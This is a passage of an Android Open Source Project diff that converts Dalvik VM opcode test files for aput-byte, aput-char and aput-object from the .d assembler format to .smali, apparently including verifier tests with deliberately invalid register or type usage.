+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_byte_7.java"
+.class  public Ldot/junit/opcodes/aput_byte/d/T_aput_byte_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([BIB)V
+.registers 10
+
+       aput-byte v9, v7, v6
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_8.d
deleted file mode 100644
index 0c4914e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_8.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_byte_8.java
-.class public dot.junit.opcodes.aput_byte.d.T_aput_byte_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([BFB)V
-.limit regs 11
-
-       aput-byte v10, v8, v9
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_8.smali
new file mode 100644
index 0000000..b20808e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_8.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_byte_8.java"
+.class  public Ldot/junit/opcodes/aput_byte/d/T_aput_byte_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([BFB)V
+.registers 11
+
+       aput-byte v10, v8, v9
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_9.d
deleted file mode 100644
index e644e87..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_9.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_byte_9.java
-.class public dot.junit.opcodes.aput_byte.d.T_aput_byte_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([BIB)V
-.limit regs 11
-
-       aput-byte v11, v8, v9
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_9.smali
new file mode 100644
index 0000000..b4ce47b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_9.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_byte_9.java"
+.class  public Ldot/junit/opcodes/aput_byte/d/T_aput_byte_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([BIB)V
+.registers 11
+
+       aput-byte v11, v8, v9
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_1.d
deleted file mode 100644
index 409eade..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_char_1.java
-.class public dot.junit.opcodes.aput_char.d.T_aput_char_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([CIC)V
-.limit regs 11
-
-       aput-char v10, v8, v9
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_1.smali
new file mode 100644
index 0000000..a455856
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_char_1.java"
+.class  public Ldot/junit/opcodes/aput_char/d/T_aput_char_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([CIC)V
+.registers 11
+
+       aput-char v10, v8, v9
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_2.d
deleted file mode 100644
index 0408006..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_char_2.java
-.class public dot.junit.opcodes.aput_char.d.T_aput_char_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([CDC)V
-.limit regs 11
-
-
-       aput-char v10, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_2.smali
new file mode 100644
index 0000000..8db76e4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_char_2.java"
+.class  public Ldot/junit/opcodes/aput_char/d/T_aput_char_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([CDC)V
+.registers 11
+
+
+       aput-char v10, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_3.d
deleted file mode 100644
index 5010da6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_char_3.java
-.class public dot.junit.opcodes.aput_char.d.T_aput_char_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([CIJ)V
-.limit regs 11
-
-
-       aput-char v9, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_3.smali
new file mode 100644
index 0000000..72e7282
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_char_3.java"
+.class  public Ldot/junit/opcodes/aput_char/d/T_aput_char_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([CIJ)V
+.registers 11
+
+
+       aput-char v9, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_4.d
deleted file mode 100644
index 67d67ec..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_char_4.java
-.class public dot.junit.opcodes.aput_char.d.T_aput_char_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;IC)V
-.limit regs 10
-
-
-       aput-char v9, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_4.smali
new file mode 100644
index 0000000..94c1129
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_char_4.java"
+.class  public Ldot/junit/opcodes/aput_char/d/T_aput_char_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;IC)V
+.registers 10
+
+
+       aput-char v9, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_5.d
deleted file mode 100644
index cd0384a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_char_5.java
-.class public dot.junit.opcodes.aput_char.d.T_aput_char_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([DIC)V
-.limit regs 10
-
-
-       aput-char v9, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_5.smali
new file mode 100644
index 0000000..05dc081
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_char_5.java"
+.class  public Ldot/junit/opcodes/aput_char/d/T_aput_char_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([DIC)V
+.registers 10
+
+
+       aput-char v9, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_6.d
deleted file mode 100644
index 2a2381d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_char_6.java
-.class public dot.junit.opcodes.aput_char.d.T_aput_char_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([JIC)V
-.limit regs 10
-
-
-       aput-char v9, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_6.smali
new file mode 100644
index 0000000..ccaa66c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_char_6.java"
+.class  public Ldot/junit/opcodes/aput_char/d/T_aput_char_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JIC)V
+.registers 10
+
+
+       aput-char v9, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_7.d
deleted file mode 100644
index b1e4c9f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_char_7.java
-.class public dot.junit.opcodes.aput_char.d.T_aput_char_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([CIC)V
-.limit regs 10
-
-       aput-char v9, v7, v6
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_7.smali
new file mode 100644
index 0000000..ac1f4b2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_char_7.java"
+.class  public Ldot/junit/opcodes/aput_char/d/T_aput_char_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([CIC)V
+.registers 10
+
+       aput-char v9, v7, v6
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_8.d
deleted file mode 100644
index f78376d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_8.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_char_8.java
-.class public dot.junit.opcodes.aput_char.d.T_aput_char_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([CFC)V
-.limit regs 11
-
-       aput-char v10, v8, v9
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_8.smali
new file mode 100644
index 0000000..113eb9d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_8.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_char_8.java"
+.class  public Ldot/junit/opcodes/aput_char/d/T_aput_char_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([CFC)V
+.registers 11
+
+       aput-char v10, v8, v9
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_9.d
deleted file mode 100644
index 1077039..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_9.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_char_9.java
-.class public dot.junit.opcodes.aput_char.d.T_aput_char_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([CIC)V
-.limit regs 11
-
-       aput-char v11, v8, v9
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_9.smali
new file mode 100644
index 0000000..dd84f8f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_9.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_char_9.java"
+.class  public Ldot/junit/opcodes/aput_char/d/T_aput_char_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([CIC)V
+.registers 11
+
+       aput-char v11, v8, v9
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_1.d
deleted file mode 100644
index c629f3c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_1.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_object_1.java
-.class public dot.junit.opcodes.aput_object.d.T_aput_object_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([Ljava/lang/String;ILjava/lang/String;)V
-.limit regs 11
-
-       aput-object v10, v8, v9
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_1.smali
new file mode 100644
index 0000000..772d664
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_1.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_object_1.java"
+.class  public Ldot/junit/opcodes/aput_object/d/T_aput_object_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([Ljava/lang/String;ILjava/lang/String;)V
+.registers 11
+
